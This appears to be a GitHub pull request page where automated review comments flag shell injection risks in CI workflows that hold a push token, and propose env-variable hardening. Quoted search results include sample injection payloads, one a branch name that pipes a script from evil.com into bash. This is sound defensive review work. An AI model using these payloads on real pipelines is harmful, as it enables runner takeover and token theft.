Conversation
|
No actionable comments were generated in the recent review. 🎉 ℹ️ Recent review info⚙️ Run configurationConfiguration used: Path: .coderabbit.yaml Review profile: CHILL Plan: Pro Run ID: 📒 Files selected for processing (1)
🚧 Files skipped from review as they are similar to previous changes (1)
📝 WalkthroughWalkthroughAdds fork-aware autofix artifact generation to multiple generator workflows and a new Changes
Sequence Diagram(s)sequenceDiagram
participant Fork as Forked PR Runner
participant Generator as Generator Workflow (lint/cli/docs/...)
participant Artifact as Artifact Storage (upstream run)
participant ApplyWf as autofix-apply Workflow
participant ForkRepo as Fork Repo (PR head)
Fork->>Generator: Run workflow on fork PR (checkout head SHA, read-only)
Generator->>Generator: Generate files, diff against repo
alt Changes detected
Generator->>Generator: Create `autofix.patch` and `metadata.json`
Generator->>Artifact: Upload `autofix-patch` artifact
end
Artifact->>ApplyWf: Trigger on upstream workflow_run success (PR event)
ApplyWf->>Artifact: Download `autofix-patch` artifact
ApplyWf->>ApplyWf: Parse `metadata.json`, validate workflow name & head_sha
ApplyWf->>ForkRepo: Checkout PR head branch from fork (using repo info from metadata)
ApplyWf->>ApplyWf: Verify current HEAD == recorded head_sha
ApplyWf->>ApplyWf: Apply `autofix.patch`, stage, commit with provided message
ApplyWf->>ForkRepo: Push commit to fork branch via HTTPS using `secrets.PAT`
Estimated code review effort🎯 4 (Complex) | ⏱️ ~50 minutes Possibly related PRs
Poem
🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
Merging this PR will improve performance by 46.64%
|
| Mode | Benchmark | BASE |
HEAD |
Efficiency | |
|---|---|---|---|---|---|
| ⚡ | WallTime | test_perf_stripe_style_pydantic_v2 |
2 s | 1.4 s | +42.26% |
| ⚡ | WallTime | test_perf_multiple_files_input |
3.7 s | 2.6 s | +41.13% |
| ⚡ | WallTime | test_perf_all_options_enabled |
6.5 s | 4.6 s | +43.18% |
| ⚡ | WallTime | test_perf_openapi_large |
3 s | 2 s | +46.64% |
| ⚡ | WallTime | test_perf_graphql_style_pydantic_v2 |
827.6 ms | 576 ms | +43.68% |
| ⚡ | WallTime | test_perf_large_models_pydantic_v2 |
3.7 s | 2.6 s | +44.33% |
| ⚡ | WallTime | test_perf_duplicate_names |
1,060.4 ms | 762 ms | +39.17% |
| ⚡ | WallTime | test_perf_kubernetes_style_pydantic_v2 |
2.6 s | 1.8 s | +43.26% |
| ⚡ | WallTime | test_perf_aws_style_openapi_pydantic_v2 |
1.9 s | 1.3 s | +43.97% |
| ⚡ | WallTime | test_perf_complex_refs |
2.2 s | 1.6 s | +35.01% |
| ⚡ | WallTime | test_perf_deep_nested |
6.1 s | 4.4 s | +37.64% |
Comparing harden-workflow-credentials (13b218a) with main (e91b601)
Footnotes
-
98 benchmarks were skipped, so the baseline results were used instead. If they were deleted from the codebase, click here and archive them to remove them from the performance reports. ↩
Codecov Report✅ All modified and coverable lines are covered by tests. Additional details and impacted files@@ Coverage Diff @@
## main #3095 +/- ##
=========================================
Coverage 100.00% 100.00%
=========================================
Files 87 87
Lines 18306 18306
Branches 2091 2091
=========================================
Hits 18306 18306
Flags with carried forward coverage won't be shown. Click here to find out more. ☔ View full report in Codecov by Sentry. 🚀 New features to boost your workflow:
|
There was a problem hiding this comment.
Actionable comments posted: 7
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
.github/workflows/changelog.yaml (1)
18-71:⚠️ Potential issue | 🟠 MajorAvoid inline release-tag interpolation while the PAT is available.
Line 70 injects
github.event.release.tag_namedirectly into shell. A crafted tag containing shell syntax can execute in the PAT-bearing step. Pass the tag throughenv, quote it, fail fast, and skip the credentialed push when there is no commit.🛡️ Proposed hardening
- name: Get release info and update CHANGELOG env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + RELEASE_TAG: ${{ github.event.release.tag_name }} run: | set -euo pipefail - TAG="${{ github.event.release.tag_name }}" + TAG="$RELEASE_TAG" DATE=$(gh release view "$TAG" --json publishedAt --jq '.publishedAt | split("T")[0]') BODY=$(gh release view "$TAG" --json body --jq '.body // ""') @@ - name: Commit and push env: PUSH_TOKEN: ${{ secrets.PAT }} + RELEASE_TAG: ${{ github.event.release.tag_name }} run: | + set -euo pipefail + : "${PUSH_TOKEN:?PUSH_TOKEN is required}" + git config user.name "github-actions[bot]" git config user.email "github-actions[bot]@users.noreply.github.com" git add CHANGELOG.md - git diff --cached --quiet || git commit -m "docs: update CHANGELOG.md for ${{ github.event.release.tag_name }}" + if git diff --cached --quiet; then + exit 0 + fi + git commit -m "docs: update CHANGELOG.md for ${RELEASE_TAG}" git push "https://x-access-token:${PUSH_TOKEN}@github.com/${{ github.repository }}.git" HEAD:main🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In @.github/workflows/changelog.yaml around lines 18 - 71, The workflow currently interpolates github.event.release.tag_name directly into shell commands, which risks shell injection when the PAT is available; move the tag into the step env (set TAG: ${{ github.event.release.tag_name }} on the "Get release info and update CHANGELOG" and "Commit and push" steps), always reference it as "$TAG" (quoting expansions like in the commit message and any URLs) to avoid word-splitting, and harden the push step by making the push conditional: after git add and git diff --cached --quiet, if there are no staged changes exit successfully (skip the credentialed git push) rather than interpolating the tag into the push command; keep set -euo pipefail to fail fast.
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.github/workflows/autofix-apply.yaml:
- Around line 28-31: The workflow extracts the autofix.patch into the repo
workspace before actions/checkout@v4 which by default runs git clean and deletes
that patch; update the job so the patch is saved to the runner temp directory
(use $RUNNER_TEMP) or set the checkout step (actions/checkout@v4) to clean:
false so the file survives; locate the step that uploads/downloads the artifact
and change its destination to $RUNNER_TEMP or modify the checkout step
configuration to include clean: false (references: GH_TOKEN, RUN_ID,
WORKFLOW_NAME, and the actions/checkout@v4 step where the patch is applied).
- Around line 56-69: The artifact metadata (data dict and keys
data["head_repo"], data["head_ref"], data["head_sha"], data["commit_message"])
must be treated as untrusted: verify that data["workflow"] matches
os.environ["WORKFLOW_NAME"] and additionally validate
head_repo/head_ref/head_sha against the authoritative workflow_run/PR details
(fetch the workflow_run or PR API and compare) before using them to drive
checkout/push; do not inject raw commit_message or refs into shell source—export
validated values into the environment and write only safe, validated values
(e.g., sanitized head_repo, head_ref, head_sha, PR_NUMBER) to GITHUB_OUTPUT, and
deliver multi-line commit_message via a guarded mechanism (e.g., set as an env
var or store in a tempfile) rather than writing unescaped content directly into
the shell-interpolated output.
In @.github/workflows/cli-docs.yaml:
- Around line 105-123: The script currently interpolates
github.event.pull_request.head.ref and
github.event.pull_request.head.repo.full_name directly into the run: body (used
to set TARGET_REPO and TARGET_REF), which allows shell injection; move these
pull-request-derived values into the job env (e.g., PR_HEAD_REF and
PR_HEAD_REPO) alongside PUSH_TOKEN, then in the run block assign
TARGET_REPO="$PR_HEAD_REPO" and TARGET_REF="$PR_HEAD_REF" (use double quotes
around the variable expansions everywhere, including the git push URL and ref)
so the untrusted values are treated as data rather than executed code and the
git push still uses the existing PUSH_TOKEN.
In @.github/workflows/lint.yaml:
- Around line 78-96: Move all interpolated GitHub context values into the
workflow env block and reference them as quoted shell variables to prevent
branch-name injection: define env entries for TARGET_REPO and TARGET_REF (using
github.repository, github.ref_name,
github.event.pull_request.head.repo.full_name and
github.event.pull_request.head.ref as appropriate) alongside PUSH_TOKEN, then
update the shell script to use the quoted variables (e.g., "$TARGET_REPO" and
"$TARGET_REF") when constructing the git push URL and ref; ensure no direct
${...} GitHub context is expanded inside the run script and always quote the
variables to avoid shell metacharacter injection.
In @.github/workflows/llms-txt.yaml:
- Around line 95-113: Move all GitHub context interpolations out of the inline
run script and into the job env so secrets are not exposed in the script scope;
specifically, add env entries for the values currently interpolated in the run
block (github.event_name, github.ref_name,
github.event.pull_request.head.repo.full_name,
github.event.pull_request.head.ref) and then update the run logic that sets
TARGET_REPO and TARGET_REF (the variables used before the git push command) to
reference those env variables instead of using "${{ ... }}" inline; keep using
PUSH_TOKEN from env for the push URL but ensure the git push uses the env-based
TARGET_REPO and TARGET_REF variables.
In @.github/workflows/readme.yaml:
- Around line 91-109: The inline shell uses GitHub contexts directly to set
TARGET_REPO and TARGET_REF which allows shell injection; move the context values
into workflow env variables (e.g., add env entries for PUSH_TOKEN,
PR_TARGET_REPO and PR_TARGET_REF or similar) and then reference those env vars
inside the run script to assign TARGET_REPO and TARGET_REF (replace uses of
github.event.pull_request.head.repo.full_name and
github.event.pull_request.head.ref with the new env vars). Ensure all context
expansions used in the run block are only read from the environment (not
interpolated into the script), and use the existing PUSH_TOKEN env var for the
git push URL.
In @.github/workflows/schema-docs.yaml:
- Around line 95-113: The workflow currently expands github context values
directly inside the shell run block (using github.event.pull_request.head.ref /
.head.repo.full_name) which can lead to shell injection; instead, add
environment variables (e.g., TARGET_REPO and TARGET_REF) at the step level or
export them at the start of the run by assigning the github context to env vars
(using the workflow env mapping) and then reference those shell-safe variables
(TARGET_REPO, TARGET_REF) in the script; update the step so PUSH_TOKEN,
TARGET_REPO and TARGET_REF are provided via env and replace any direct
github.context expansions in the run script with the corresponding shell
variables (TARGET_REPO, TARGET_REF) when building the git push URL.
---
Outside diff comments:
In @.github/workflows/changelog.yaml:
- Around line 18-71: The workflow currently interpolates
github.event.release.tag_name directly into shell commands, which risks shell
injection when the PAT is available; move the tag into the step env (set TAG:
${{ github.event.release.tag_name }} on the "Get release info and update
CHANGELOG" and "Commit and push" steps), always reference it as "$TAG" (quoting
expansions like in the commit message and any URLs) to avoid word-splitting, and
harden the push step by making the push conditional: after git add and git diff
--cached --quiet, if there are no staged changes exit successfully (skip the
credentialed git push) rather than interpolating the tag into the push command;
keep set -euo pipefail to fail fast.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
Run ID: f3d1eb6f-dc23-4d92-ae52-a675ebaea26c
📒 Files selected for processing (16)
.github/workflows/autofix-apply.yaml.github/workflows/changelog.yaml.github/workflows/cli-docs.yaml.github/workflows/codeql.yaml.github/workflows/codespell.yaml.github/workflows/codspeed.yaml.github/workflows/config-types.yaml.github/workflows/docs.yaml.github/workflows/lint.yaml.github/workflows/llms-txt.yaml.github/workflows/publish.yaml.github/workflows/readme.yaml.github/workflows/release-draft.yaml.github/workflows/release-notify.yaml.github/workflows/schema-docs.yaml.github/workflows/test.yaml
| env: | ||
| GH_TOKEN: ${{ github.token }} | ||
| RUN_ID: ${{ github.event.workflow_run.id }} | ||
| WORKFLOW_NAME: ${{ github.event.workflow_run.name }} |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
# First, find the workflow file
fd -t f "autofix-apply.yaml"Repository: koxudaxi/datamodel-code-generator
Length of output: 59
🏁 Script executed:
# Read the entire workflow file to understand the sequence
cat -n ".github/workflows/autofix-apply.yaml"Repository: koxudaxi/datamodel-code-generator
Length of output: 4864
Store the patch in $RUNNER_TEMP to persist it across the workspace cleanup.
autofix.patch is extracted to the workspace before actions/checkout@v4, which by default runs git clean -ffdx that removes all files. Line 94 will fail when attempting to apply the deleted patch. Move the artifact extraction to $RUNNER_TEMP or add clean: false to the checkout action.
Proposed fix
- name: Download approved patch artifact
id: artifact
env:
GH_TOKEN: ${{ github.token }}
RUN_ID: ${{ github.event.workflow_run.id }}
WORKFLOW_NAME: ${{ github.event.workflow_run.name }}
+ PATCH_DIR: ${{ runner.temp }}/autofix
run: |
set -euo pipefail
@@
- gh api "repos/${{ github.repository }}/actions/artifacts/${ARTIFACT_ID}/zip" > autofix.zip
- unzip -o autofix.zip
+ mkdir -p "$PATCH_DIR"
+ gh api "repos/${{ github.repository }}/actions/artifacts/${ARTIFACT_ID}/zip" > "$PATCH_DIR/autofix.zip"
+ unzip -o "$PATCH_DIR/autofix.zip" -d "$PATCH_DIR"
python3 <<'PY'
@@
- data = json.loads(Path("metadata.json").read_text(encoding="utf-8"))
+ data = json.loads((Path(os.environ["PATCH_DIR"]) / "metadata.json").read_text(encoding="utf-8"))
@@
- name: Check out PR head branch
if: steps.artifact.outputs.should_apply == 'true'
uses: actions/checkout@v4
with:
fetch-depth: 0
ref: ${{ steps.artifact.outputs.head_ref }}
repository: ${{ steps.artifact.outputs.head_repo }}
persist-credentials: false
- name: Apply patch and push
if: steps.current_head.outputs.is_current == 'true'
env:
PUSH_TOKEN: ${{ secrets.PAT }}
+ PATCH_DIR: ${{ runner.temp }}/autofix
run: |
set -euo pipefail
- git apply --index --whitespace=nowarn autofix.patch
+ git apply --index --whitespace=nowarn "$PATCH_DIR/autofix.patch"🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/autofix-apply.yaml around lines 28 - 31, The workflow
extracts the autofix.patch into the repo workspace before actions/checkout@v4
which by default runs git clean and deletes that patch; update the job so the
patch is saved to the runner temp directory (use $RUNNER_TEMP) or set the
checkout step (actions/checkout@v4) to clean: false so the file survives; locate
the step that uploads/downloads the artifact and change its destination to
$RUNNER_TEMP or modify the checkout step configuration to include clean: false
(references: GH_TOKEN, RUN_ID, WORKFLOW_NAME, and the actions/checkout@v4 step
where the patch is applied).
| data = json.loads(Path("metadata.json").read_text(encoding="utf-8")) | ||
| workflow_name = os.environ["WORKFLOW_NAME"] | ||
| if data["workflow"] != workflow_name: | ||
| raise SystemExit(f"artifact workflow mismatch: {data['workflow']} != {workflow_name}") | ||
| output = Path(os.environ["GITHUB_OUTPUT"]) | ||
| with output.open("a", encoding="utf-8") as fh: | ||
| fh.write("should_apply=true\n") | ||
| fh.write(f"pr_number={os.environ['PR_NUMBER']}\n") | ||
| fh.write(f"head_repo={data['head_repo']}\n") | ||
| fh.write(f"head_ref={data['head_ref']}\n") | ||
| fh.write(f"head_sha={data['head_sha']}\n") | ||
| fh.write("commit_message<<EOF\n") | ||
| fh.write(data["commit_message"]) | ||
| fh.write("\nEOF\n") |
There was a problem hiding this comment.
Treat artifact metadata as untrusted before checkout and push.
The artifact comes from a fork-triggered run, but head_repo, head_ref, head_sha, and commit_message are used to drive checkout/push and are also interpolated into shell source. Validate the metadata against workflow_run/PR data, then pass outputs into shell via env.
🛡️ Proposed hardening
- name: Download approved patch artifact
id: artifact
env:
GH_TOKEN: ${{ github.token }}
RUN_ID: ${{ github.event.workflow_run.id }}
WORKFLOW_NAME: ${{ github.event.workflow_run.name }}
+ EXPECTED_HEAD_REPO: ${{ github.event.workflow_run.head_repository.full_name }}
+ EXPECTED_HEAD_REF: ${{ github.event.workflow_run.head_branch }}
+ EXPECTED_HEAD_SHA: ${{ github.event.workflow_run.head_sha }}
run: |
@@
data = json.loads(Path("metadata.json").read_text(encoding="utf-8"))
workflow_name = os.environ["WORKFLOW_NAME"]
if data["workflow"] != workflow_name:
raise SystemExit(f"artifact workflow mismatch: {data['workflow']} != {workflow_name}")
+ expected = {
+ "head_repo": os.environ["EXPECTED_HEAD_REPO"],
+ "head_ref": os.environ["EXPECTED_HEAD_REF"],
+ "head_sha": os.environ["EXPECTED_HEAD_SHA"],
+ }
+ for key, value in expected.items():
+ if data.get(key) != value:
+ raise SystemExit(f"artifact {key} mismatch: {data.get(key)} != {value}")
output = Path(os.environ["GITHUB_OUTPUT"])
with output.open("a", encoding="utf-8") as fh:
fh.write("should_apply=true\n")
fh.write(f"pr_number={os.environ['PR_NUMBER']}\n")
- fh.write(f"head_repo={data['head_repo']}\n")
- fh.write(f"head_ref={data['head_ref']}\n")
- fh.write(f"head_sha={data['head_sha']}\n")
+ fh.write(f"head_repo={expected['head_repo']}\n")
+ fh.write(f"head_ref={expected['head_ref']}\n")
+ fh.write(f"head_sha={expected['head_sha']}\n")
fh.write("commit_message<<EOF\n")
fh.write(data["commit_message"])
fh.write("\nEOF\n")
@@
- name: Skip stale patch
id: current_head
if: steps.artifact.outputs.should_apply == 'true'
+ env:
+ EXPECTED_HEAD_SHA: ${{ steps.artifact.outputs.head_sha }}
run: |
- if [ "$(git rev-parse HEAD)" != "${{ steps.artifact.outputs.head_sha }}" ]; then
+ if [ "$(git rev-parse HEAD)" != "$EXPECTED_HEAD_SHA" ]; then
echo "is_current=false" >> "$GITHUB_OUTPUT"
exit 0
fi
@@
- name: Apply patch and push
if: steps.current_head.outputs.is_current == 'true'
env:
PUSH_TOKEN: ${{ secrets.PAT }}
+ COMMIT_MESSAGE: ${{ steps.artifact.outputs.commit_message }}
+ HEAD_REPO: ${{ steps.artifact.outputs.head_repo }}
+ HEAD_REF: ${{ steps.artifact.outputs.head_ref }}
run: |
@@
- git commit -m "${{ steps.artifact.outputs.commit_message }}"
- git push "https://x-access-token:${PUSH_TOKEN}@github.com/${{ steps.artifact.outputs.head_repo }}.git" "HEAD:${{ steps.artifact.outputs.head_ref }}"
+ git commit -m "$COMMIT_MESSAGE"
+ git push "https://x-access-token:${PUSH_TOKEN}@github.com/${HEAD_REPO}.git" "HEAD:${HEAD_REF}"Also applies to: 83-83, 100-101
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/autofix-apply.yaml around lines 56 - 69, The artifact
metadata (data dict and keys data["head_repo"], data["head_ref"],
data["head_sha"], data["commit_message"]) must be treated as untrusted: verify
that data["workflow"] matches os.environ["WORKFLOW_NAME"] and additionally
validate head_repo/head_ref/head_sha against the authoritative workflow_run/PR
details (fetch the workflow_run or PR API and compare) before using them to
drive checkout/push; do not inject raw commit_message or refs into shell
source—export validated values into the environment and write only safe,
validated values (e.g., sanitized head_repo, head_ref, head_sha, PR_NUMBER) to
GITHUB_OUTPUT, and deliver multi-line commit_message via a guarded mechanism
(e.g., set as an env var or store in a tempfile) rather than writing unescaped
content directly into the shell-interpolated output.
| if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository | ||
| env: | ||
| PUSH_TOKEN: ${{ secrets.PAT }} | ||
| run: | | ||
| git config user.name "github-actions[bot]" | ||
| git config user.email "github-actions[bot]@users.noreply.github.com" | ||
| git add docs/cli-reference/ src/datamodel_code_generator/prompt_data.py | ||
| git diff --staged --quiet || git commit -m "docs: update CLI reference documentation and prompt data | ||
|
|
||
| 🤖 Generated by GitHub Actions" | ||
| git push | ||
| if git diff --staged --quiet; then | ||
| exit 0 | ||
| fi | ||
| git commit -m "docs: update CLI reference documentation and prompt data" | ||
| if [ "${{ github.event_name }}" = "push" ]; then | ||
| TARGET_REPO="${{ github.repository }}" | ||
| TARGET_REF="${{ github.ref_name }}" | ||
| else | ||
| TARGET_REPO="${{ github.event.pull_request.head.repo.full_name }}" | ||
| TARGET_REF="${{ github.event.pull_request.head.ref }}" | ||
| fi | ||
| git push "https://x-access-token:${PUSH_TOKEN}@github.com/${TARGET_REPO}.git" "HEAD:${TARGET_REF}" |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
# First, let's locate and examine the cli-docs.yaml file
fd -t f "cli-docs.yaml" .github/workflows/Repository: koxudaxi/datamodel-code-generator
Length of output: 108
🏁 Script executed:
# Read the file around the flagged lines
head -n 130 .github/workflows/cli-docs.yaml | tail -n 40Repository: koxudaxi/datamodel-code-generator
Length of output: 1816
🏁 Script executed:
# Let's also check if schema-docs.yaml exists and has similar code
fd -t f "schema-docs.yaml" .github/workflows/Repository: koxudaxi/datamodel-code-generator
Length of output: 111
🏁 Script executed:
# Let's read the exact lines around 105-123 in cli-docs.yaml
sed -n '100,130p' .github/workflows/cli-docs.yaml | cat -nRepository: koxudaxi/datamodel-code-generator
Length of output: 1377
🏁 Script executed:
# Let's also check the schema-docs.yaml to see if it has similar code
cat .github/workflows/schema-docs.yaml | grep -A 20 "Commit and push if changed"Repository: koxudaxi/datamodel-code-generator
Length of output: 1058
🏁 Script executed:
# Let's understand GitHub Actions security: check if there are any recent security advisories
# about context variable interpolation in shell scripts
web_search
GitHub Actions shell injection context variables security riskRepository: koxudaxi/datamodel-code-generator
Length of output: 172
🌐 Web query:
GitHub Actions shell injection context variable untrusted input security
💡 Result:
GitHub Actions workflows are vulnerable to shell injection when untrusted input from GitHub context variables (like github.event.issue.title, github.event.pull_request.title, branch names) is directly interpolated into 'run' steps using ${{ }} expressions. GitHub evaluates these expressions before the shell runs, substituting values into the script, allowing attackers to inject commands (e.g., PR title: a"; ls $GITHUB_WORKSPACE). Untrusted context fields include those ending in body, title, ref, head_ref, label, name, email, message (e.g., github.event.issue.body, github.head_ref). Branch names like ";echo hello;# can also inject code. This risks secret exfiltration, GITHUB_TOKEN abuse, or runner compromise. Mitigation: Assign untrusted values to env variables first, then reference with shell syntax (
Citations:
- 1: https://docs.github.com/en/actions/concepts/security/script-injections
- 2: https://securitylab.github.com/resources/github-actions-untrusted-input/
- 3: https://github.blog/2023-08-09-four-tips-to-keep-your-github-actions-workflows-secure
- 4: https://docs.github.com/actions/learn-github-actions/security-hardening-for-github-actions
🌐 Web query:
GitHub Actions github.event.pull_request.head.ref security injection risk
💡 Result:
Yes, there is a significant security injection risk when using github.event.pull_request.head.ref in GitHub Actions workflows. This value represents the source branch name in a pull request, which is fully attacker-controlled, especially in forks. Attackers can craft malicious branch names containing shell metacharacters (e.g., "; curl https://evil.com/script.sh | bash; #) to inject and execute arbitrary commands when interpolated into shell scripts via ${{ github.event.pull_request.head.ref }}. This risk is amplified in pull_request_target workflows, which run with base repository privileges (access to secrets and write permissions), unlike standard pull_request triggers. Official GitHub documentation explicitly lists github.event.pull_request.head.ref (and head_ref) as untrusted input that must not flow directly into executable contexts like run: steps, API calls, or commands. Multiple security advisories and research confirm real-world exploits leading to RCE, secret exfiltration, and repository compromise. Mitigations: - Treat as untrusted: Sanitize or validate before use. - Use environment variables: env: BRANCH: ${{ github.event.pull_request.head.ref }} then reference $BRANCH (prevents shell expansion). - Prefer actions over inline run: scripts for processing. - Avoid pull_request_target unless necessary; use pull_request for untrusted code. - Set minimal permissions: permissions: { contents: read }. - Disable credential persistence in checkouts: persist-credentials: false. - Separate jobs for checkout and sensitive operations.
Citations:
- 1: https://docs.github.com/en/actions/concepts/security/script-injections
- 2: https://help.github.com/en/actions/concepts/security/script-injections
- 3: https://synacktiv.com/en/publications/github-actions-exploitation-untrusted-input
- 4: https://securitylab.github.com/resources/github-actions-untrusted-input
- 5: GHSA-7x29-qqmq-v6qc
- 6: https://docs.github.com/en/actions/reference/security/secure-use
Route pull request branch name through environment variables to prevent shell injection.
Lines 117–122 interpolate github.event.pull_request.head.ref and github.event.pull_request.head.repo.full_name directly into a run: script that has access to PUSH_TOKEN. Both fields are attacker-controlled in pull requests and can contain shell metacharacters (e.g., "; malicious-command; #") to inject arbitrary code.
Move these untrusted values to the env section and reference them as quoted shell variables:
🛡️ Proposed fix
- name: Commit and push if changed
if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository
env:
PUSH_TOKEN: ${{ secrets.PAT }}
+ EVENT_NAME: ${{ github.event_name }}
+ PUSH_REPO: ${{ github.repository }}
+ PUSH_REF: ${{ github.ref_name }}
+ PR_REPO: ${{ github.event.pull_request.head.repo.full_name }}
+ PR_REF: ${{ github.event.pull_request.head.ref }}
run: |
@@
- if [ "${{ github.event_name }}" = "push" ]; then
- TARGET_REPO="${{ github.repository }}"
- TARGET_REF="${{ github.ref_name }}"
+ if [ "$EVENT_NAME" = "push" ]; then
+ TARGET_REPO="$PUSH_REPO"
+ TARGET_REF="$PUSH_REF"
else
- TARGET_REPO="${{ github.event.pull_request.head.repo.full_name }}"
- TARGET_REF="${{ github.event.pull_request.head.ref }}"
+ TARGET_REPO="$PR_REPO"
+ TARGET_REF="$PR_REF"
fi📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository | |
| env: | |
| PUSH_TOKEN: ${{ secrets.PAT }} | |
| run: | | |
| git config user.name "github-actions[bot]" | |
| git config user.email "github-actions[bot]@users.noreply.github.com" | |
| git add docs/cli-reference/ src/datamodel_code_generator/prompt_data.py | |
| git diff --staged --quiet || git commit -m "docs: update CLI reference documentation and prompt data | |
| 🤖 Generated by GitHub Actions" | |
| git push | |
| if git diff --staged --quiet; then | |
| exit 0 | |
| fi | |
| git commit -m "docs: update CLI reference documentation and prompt data" | |
| if [ "${{ github.event_name }}" = "push" ]; then | |
| TARGET_REPO="${{ github.repository }}" | |
| TARGET_REF="${{ github.ref_name }}" | |
| else | |
| TARGET_REPO="${{ github.event.pull_request.head.repo.full_name }}" | |
| TARGET_REF="${{ github.event.pull_request.head.ref }}" | |
| fi | |
| git push "https://x-access-token:${PUSH_TOKEN}@github.com/${TARGET_REPO}.git" "HEAD:${TARGET_REF}" | |
| if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository | |
| env: | |
| PUSH_TOKEN: ${{ secrets.PAT }} | |
| EVENT_NAME: ${{ github.event_name }} | |
| PUSH_REPO: ${{ github.repository }} | |
| PUSH_REF: ${{ github.ref_name }} | |
| PR_REPO: ${{ github.event.pull_request.head.repo.full_name }} | |
| PR_REF: ${{ github.event.pull_request.head.ref }} | |
| run: | | |
| git config user.name "github-actions[bot]" | |
| git config user.email "github-actions[bot]@users.noreply.github.com" | |
| git add docs/cli-reference/ src/datamodel_code_generator/prompt_data.py | |
| if git diff --staged --quiet; then | |
| exit 0 | |
| fi | |
| git commit -m "docs: update CLI reference documentation and prompt data" | |
| if [ "$EVENT_NAME" = "push" ]; then | |
| TARGET_REPO="$PUSH_REPO" | |
| TARGET_REF="$PUSH_REF" | |
| else | |
| TARGET_REPO="$PR_REPO" | |
| TARGET_REF="$PR_REF" | |
| fi | |
| git push "https://x-access-token:${PUSH_TOKEN}@github.com/${TARGET_REPO}.git" "HEAD:${TARGET_REF}" |
🧰 Tools
🪛 actionlint (1.7.12)
[error] 108-108: "github.event.pull_request.head.ref" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details
(expression)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/cli-docs.yaml around lines 105 - 123, The script currently
interpolates github.event.pull_request.head.ref and
github.event.pull_request.head.repo.full_name directly into the run: body (used
to set TARGET_REPO and TARGET_REF), which allows shell injection; move these
pull-request-derived values into the job env (e.g., PR_HEAD_REF and
PR_HEAD_REPO) alongside PUSH_TOKEN, then in the run block assign
TARGET_REPO="$PR_HEAD_REPO" and TARGET_REF="$PR_HEAD_REF" (use double quotes
around the variable expansions everywhere, including the git push URL and ref)
so the untrusted values are treated as data rather than executed code and the
git push still uses the existing PUSH_TOKEN.
| if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name == github.repository | ||
| env: | ||
| PUSH_TOKEN: ${{ secrets.PAT }} | ||
| run: | | ||
| git config user.name "github-actions[bot]" | ||
| git config user.email "github-actions[bot]@users.noreply.github.com" | ||
| git add -A | ||
| if git diff --staged --quiet; then | ||
| exit 0 | ||
| fi | ||
| git commit -m "style: auto-fix by prek" | ||
| if [ "${{ github.event_name }}" = "push" ]; then | ||
| TARGET_REPO="${{ github.repository }}" | ||
| TARGET_REF="${{ github.ref_name }}" | ||
| else | ||
| TARGET_REPO="${{ github.event.pull_request.head.repo.full_name }}" | ||
| TARGET_REF="${{ github.event.pull_request.head.ref }}" | ||
| fi | ||
| git push "https://x-access-token:${PUSH_TOKEN}@github.com/${TARGET_REPO}.git" "HEAD:${TARGET_REF}" |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
cat -n .github/workflows/lint.yaml | sed -n '78,96p'Repository: koxudaxi/datamodel-code-generator
Length of output: 1109
🌐 Web query:
GitHub Actions secrets security inline script variable interpolation best practices
💡 Result:
Best practices for securing GitHub Actions secrets in inline scripts with variable interpolation: 1. Pass secrets as environment variables instead of direct interpolation in run steps. Direct use of ${{ secrets.MY_SECRET }} in inline scripts allows shell command injection if the secret value is compromised or malicious, as GitHub expressions expand before shell execution. Example (vulnerable): - run: echo "${{ secrets.SSH_KEY }}" > keyfile Safe: - env: SSH_KEY: ${{ secrets.SSH_KEY }} run: echo "$SSH_KEY" > keyfile 2. Avoid passing secrets on command lines; use environment variables, STDIN, or tool-specific secure methods to prevent exposure via ps output or logs. 3. Never echo, log, or print secrets; GitHub redacts known secrets from logs but fails for transformed/structured data, generated values, or obfuscated output. 4. Use ::add-mask::VALUE for non-secret sensitive data to enable redaction. 5. Avoid structured data (JSON, etc.) as secrets; redaction requires exact matches. 6. Register generated sensitive values (e.g., JWTs) as masked secrets. 7. Use GitHub Environments for production secrets with required approvals. 8. Set GITHUB_TOKEN to read-only by default and use least-privilege secrets. 9. Pin third-party actions to commits/SHAs, not tags. 10. Audit workflows: review logs after runs, enable code scanning for injection risks. These prevent OICUITSF (Octopus Inject Command Unless Interpolated To Shell First) attacks where untrusted input or poisoned secrets lead to RCE and secret exfiltration.
Citations:
- 1: https://docs.github.com/actions/reference/security/secure-use
- 2: https://docs.github.com/actions/security-guides/using-secrets-in-github-actions
- 3: https://docs.github.com/en/actions/concepts/security/script-injections
- 4: https://github.blog/2023-08-09-four-tips-to-keep-your-github-actions-workflows-secure
- 5: https://docs.github.com/en/actions/reference/secure-use-reference
- 6: https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions
🌐 Web query:
GitHub Actions context variables shell script injection risk
💡 Result:
